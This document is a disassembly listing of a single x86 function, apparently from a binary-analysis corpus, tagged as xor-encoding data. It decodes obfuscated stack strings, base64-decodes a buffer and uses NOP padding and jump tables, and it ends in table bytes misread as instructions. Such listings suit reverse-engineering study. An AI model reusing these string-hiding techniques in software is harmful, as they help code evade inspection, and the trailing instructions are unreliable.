Function at 0x422310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x458
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x54], 0x79e67be1
mov dword [esp + 0x58], 0x65096713
mov dword [esp + 0x5c], 0x613063f7
mov dword [esp + 0x60], 0x6df66f0b
mov dword [esp + 0x64], 0x696a6b07
mov dword [esp + 0x68], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x54]
mov edi, eax
and edi, 0x16
mov edx, ecx
xor edx, 0x7ca0216b
add edx, edi
mov edi, esi
not edi
lea ebx, [esi + esi]
not ebx
add ebx, esi
and ebx, edi
lea edi, [ebx + ebx]
not edi
add edi, ebx
and edi, edx
or edx, esi
mov esi, edx
not esi
add esi, edi
sub edx, edi
mov edi, edx
and edi, 0xf7
and esi, 8
or esi, edi
and edx, 1
xor esi, 9
lea edx, [esi + edx*2]
add dl, 0xe8
mov byte [esp + ecx + 0x54], dl
inc ecx
add eax, 2
cmp ecx, 0x18
jne case.default.0x4223eb
lea esi, [esp + 0x54]
lea ecx, [esp + 0x34]
push esi
call fcn.004367a0
shr eax, 0x1f
jmp dword [eax*4 + 0x444fdc]
lea ecx, [esp + 0x34]
push 0x410
call fcn.004369d0
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x444ff4]
mov dword [esp + 0x54], 0xba8db4ab
mov dword [esp + 0x58], 0xacbe9bb4
mov dword [esp + 0x5c], 0xb0a7bd9f
mov dword [esp + 0x60], 0x85aab693
mov dword [esp + 0x64], 0x94959a8a
mov dword [esp + 0x68], 0x8da8a6ab
mov dword [esp + 0x6c], 0x8283ae86
mov dword [esp + 0x70], 0x86a980b9
mov dword [esp + 0x74], 0xb6bcb6be
mov dword [esp + 0x78], 0x9eb5c3a7
mov dword [esp + 0x7c], 0xf9c6bfbf
mov word [esp + 0x80], 0
mov byte [esp + 0x82], 0
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
add al, 0x4d
xor al, byte [esp + ebx + 0x54]
add al, 0x7f
mov byte [esp + ebx + 0x54], al
inc ebx
cmp ebx, 0x2f
jne case.default.0x4224b6
lea eax, [esp + 0x48]
lea ecx, [esp + 0x34]
push 0
push 0x2b
push esi
push eax
call fcn.004372b0
mov edx, dword [esp + 0x48]
mov edi, dword [esp + 0x4c]
xor eax, eax
cmp edx, edi
sete al
jmp dword [eax*4 + 0x444ffc]
mov ecx, edi
not ecx
and ecx, edx
mov eax, edx
not eax
and eax, edi
sub eax, ecx
sar eax, 3
mov dword [esp + 0xc], edi
mov edi, edx
mov edx, eax
and edx, 0x421
mov ecx, eax
or eax, 0x421
imul eax, edx
xor edx, 0x421
and ecx, 0xfffffbde
imul ecx, edx
add eax, ecx
push eax
call fcn.00408740
mov edx, edi
add esp, 4
mov dword [esp + 0x2c], 0
xor ecx, ecx
cmp edi, dword [esp + 0xc]
setne cl
mov dword [esp + 0x28], eax
mov dword [esp + 8], eax
jmp dword [ecx*4 + 0x445014]
xor ebx, ebx
jmp dword [0x444fec]
lea ecx, [esp + 0x34]
call fcn.00436ae0
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
add edx, 8
xor eax, eax
cmp edx, dword [esp + 0xc]
setne al
jmp dword [eax*4 + 0x445014]
jmp dword [0x445028]
mov ebx, dword [edx]
mov esi, dword [edx + 4]
lea eax, [esp + 0x54]
push 0x400
push 0
push eax
mov edi, edx
call fcn.004087d0
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x34]
push eax
push 0
push 0x400
lea eax, [esp + 0x60]
push eax
push esi
push ebx
lea esi, [esp + 0x6c]
call fcn.00437160
mov edx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x30], edx
mov edi, dword [edx]
mov ebx, dword [edx + 4]
push 0x400
push 0
push esi
call fcn.004087d0
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x34]
push eax
push 0
push 0x400
push esi
push ebx
push edi
call fcn.00437160
mov edx, dword [esp + 0x30]
jmp dword [0x44502c]
cmp eax, 0xc0000000
setae al
mov ecx, dword [esp + 0x18]
or ecx, dword [esp + 0x1c]
sete cl
or cl, al
movzx ecx, cl
mov eax, 1
jmp dword [ecx*4 + 0x445034]
mov ecx, dword [case.0x4224b6.13]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
jmp ecx
jmp dword [eax*4 + 0x44504c]
mov byte [esp + 0x453], 0
movzx eax, byte [esp + 0x54]
xor ecx, ecx
test al, al
je 0x42264f
mov ecx, esi
cmp al, 0x2e
je 0x42264f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x422640
xor ecx, ecx
xor eax, eax
test ecx, ecx
setne al
mov dword [esp], ecx
jmp dword [eax*4 + 0x445054]
mov ebx, ecx
mov ecx, dword [esp]
jmp dword [0x445064]
lea edi, [ecx + 1]
movzx eax, byte [ecx + 1]
xor ebx, ebx
test al, al
je 0x422665
mov ecx, edi
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x422660
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x422680
jmp 0x422662
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44506c]
mov ecx, ebx
sub ecx, edi
lea edx, [ecx + ecx*2]
shr edx, 2
movzx eax, byte [ebx - 1]
cmp eax, 0x3d
je 0x4226b6
cmp eax, 0x2e
jne 0x4226b7
dec edx
movzx eax, byte [edi + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 0x14], ecx
je 0x4226ca
cmp eax, 0x2e
jne 0x4226d1
mov eax, edx
not eax
lea edx, [eax + edx*2]
mov dword [esp + 0x44], edx
lea eax, [edx + 1]
push eax
call fcn.00408740
add esp, 4
mov dword [esp + 0x10], eax
cmp ebx, edi
mov ecx, dword [esp]
je 0x4227ec
xor esi, esi
mov edi, 2
jmp 0x422717
mov ecx, dword [esp]
lea eax, [edi + 4]
add edi, 2
mov esi, dword [esp + 4]
cmp edi, edx
mov edi, eax
jae 0x4227ec
mov dword [esp + 0x24], esi
movzx eax, byte [ecx + edi - 1]
push eax
mov esi, ecx
call fcn.00419850
add esp, 4
mov bh, al
movzx eax, byte [esi + edi]
push eax
call fcn.00419850
add esp, 4
mov bl, al
shl bh, 2
shr al, 4
and al, 3
or al, bh
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov byte [ecx + edx], al
lea eax, [edx + 1]
mov dword [esp + 4], eax
mov edx, dword [esp + 0x14]
cmp edi, edx
jae 0x422700
mov esi, dword [esp]
movzx eax, byte [esi + edi + 1]
push eax
call fcn.00419850
mov edx, dword [esp + 0x18]
add esp, 4
cmp al, 0x40
mov ecx, esi
je 0x422703
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
mov esi, dword [esp + 0x24]
lea ebx, [esi + 2]
mov dword [esp + 4], ebx
mov ebx, dword [esp + 0x10]
mov byte [ebx + esi + 1], cl
lea ecx, [edi + 1]
cmp ecx, edx
jae 0x422700
mov ebx, eax
mov eax, dword [esp]
movzx eax, byte [eax + edi + 2]
push eax
call fcn.00419850
add esp, 4
cmp al, 0x40
je 0x4227e0
shl bl, 6
add al, bl
mov edx, dword [esp + 0x24]
mov ecx, edx
and ecx, 1
mov esi, dword [esp + 4]
or esi, 1
add esi, ecx
mov dword [esp + 4], esi
mov ecx, dword [esp + 0x10]
mov byte [ecx + edx + 2], al
mov ecx, dword [esp]
mov edx, dword [esp + 0x14]
jmp 0x422703
mov eax, dword [esp + 0x44]
mov esi, dword [esp + 0x10]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x445074]
push esi
call fcn.00408750
add esp, 4
push ebx
call fcn.00401b00
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
lea esi, [esp + 0x54]
jmp dword [ecx*4 + 0x44507c]
mov edi, dword [esp + 0xc]
jmp 0x422949
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0xf3107c63
mov byte [esp + 0x1c], 0
mov eax, 0x53
mov edx, 0x570888ac
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx - 0x57088894]
mov edi, eax
xor edi, edx
and edi, esi
xor edi, edx
mov esi, edi
not esi
or esi, 0x4cd554a3
add esi, edi
inc esi
mov ecx, esi
or ecx, 0xfffffffd
inc ecx
mov ebx, esi
and ebx, 0xfffffffd
imul ebx, ecx
mov ecx, esi
and ecx, 2
or esi, 2
imul esi, ecx
sub ebx, esi
xor edi, 0xb32aab5c
lea ecx, [edi + ebx]
add ebx, edi
inc ebx
lea ecx, [ecx*2 + 2]
sub ebx, ecx
inc bl
mov byte [esp + edx - 0x57088894], bl
dec eax
inc edx
cmp eax, 0x4e
jne case.default.0x4228d5
lea eax, [esp + 0x18]
push eax
push dword [esp + 8]
call fcn.004018c0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445084]
lea esi, [esp + 0x54]
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 8]
jmp 0x42291b
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 8]
je 0x42290b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x422900
mov word [edx], 0x203a
add edx, 2
lea esi, [esp + 0x54]
mov edi, dword [esp + 0xc]
mov ebx, dword [esp]
movzx eax, byte [esp + 0x54]
test al, al
je 0x42293b
lea ecx, [esp + 0x55]
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x422930
mov byte [edx], 0xa
inc edx
mov dword [esp + 8], edx
mov al, 1
mov dword [esp + 0x2c], eax
push ebx
call fcn.004020b0
add esp, 4
mov edx, dword [esp + 0x30]
add edx, 8
xor eax, eax
cmp edx, edi
setne al
jmp dword [eax*4 + 0x445014]
mov ebx, dword [esp + 0x2c]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44501c]
jmp dword [0x44508c]
mov eax, dword [case.0x4224b6.3]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor ebx, ebx
test edx, edx
jne 0x422a53
jmp case.0x4223eb.3
mov eax, dword [esp + 8]
mov byte [eax], 0
mov dword [esp + 0x54], 0x6f525101
mov dword [esp + 0x58], 0x5367666d
mov dword [esp + 0x5c], 0x58646661
mov dword [esp + 0x60], 0x6a5a7e23
mov dword [esp + 0x64], 0x75d1c11
mov dword [esp + 0x68], 0x19131e1b
mov dword [esp + 0x6c], 0x232e572b
mov dword [esp + 0x70], 0xbd28
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
mov esi, eax
and esi, 0x20
mov edx, ecx
xor edx, 0xb0
add edx, esi
xor dl, byte [esp + ecx + 0x54]
add dl, 0x90
mov byte [esp + ecx + 0x54], dl
inc ecx
add eax, 2
cmp ecx, 0x20
jne 0x4229f0
mov edx, dword [esp + 0x28]
mov esi, dword [esp + 8]
sub esi, edx
lea eax, [esp + 0x54]
mov ecx, dword [ebp + 8]
push esi
push edx
push eax
call fcn.004094c0
mov ebx, eax
jmp dword [0x44508c]
push dword [esp + 0x28]
call fcn.00408750
add esp, 4
and bl, 1
mov edx, dword [esp + 0x48]
mov edi, dword [esp + 0x4c]
test edx, edx
je case.0x4223eb.3
cmp edx, edi
je case.0x4223eb.3
push edx
call fcn.00408750
add esp, 4
jmp case.0x4223eb.3
and al, 0x42
add byte [edi + 0x29], bh
inc edx
add byte [eax - 0x6fffbdd7], dl
sub dword [edx], eax
xchg edx, eax
sub dword [edx], eax
nop
sub dword [edx], eax
sub dword [bp + si], eax
arpl word [695795778], sp
inc edx
add byte [ecx + 0x69004229], ah
and eax, 0x25b00042
inc edx
add bl, ch
and eax, 0x25b00042
inc edx
add byte [esi], ah
inc edx
add byte [edi], cl
inc edx
add byte [eax], ah
inc edx
add byte [eax], ah
inc edx
add byte [eax], ah
inc edx
add byte [esi], ah
inc edx
add byte [eax + 0x25], dl
inc edx
add byte [ebx], ch
inc edx
add byte [eax + 0x25], dl
inc edx
add byte [ebx + 0x26], ch
inc edx
add byte [ebx + 0x26], ch
inc edx
add byte [ebx + 0x26], ch
inc edx
add byte [eax + 0x6b004226], dl
inc edx
add byte [eax + 0x25], dl
inc edx
add byte [esi + 0x9004226], bl
sub byte [edx], al
adc ch, byte [eax]
inc edx
add byte [0x36004228], ch
sub byte [edx], al
fsubr qword [eax]
sub byte [edx], al
ljmp 0x422a
add byte [eax + 42], al
inc edx
add byte [eax], cl
sub byte [edx], al
ljmp 0x422a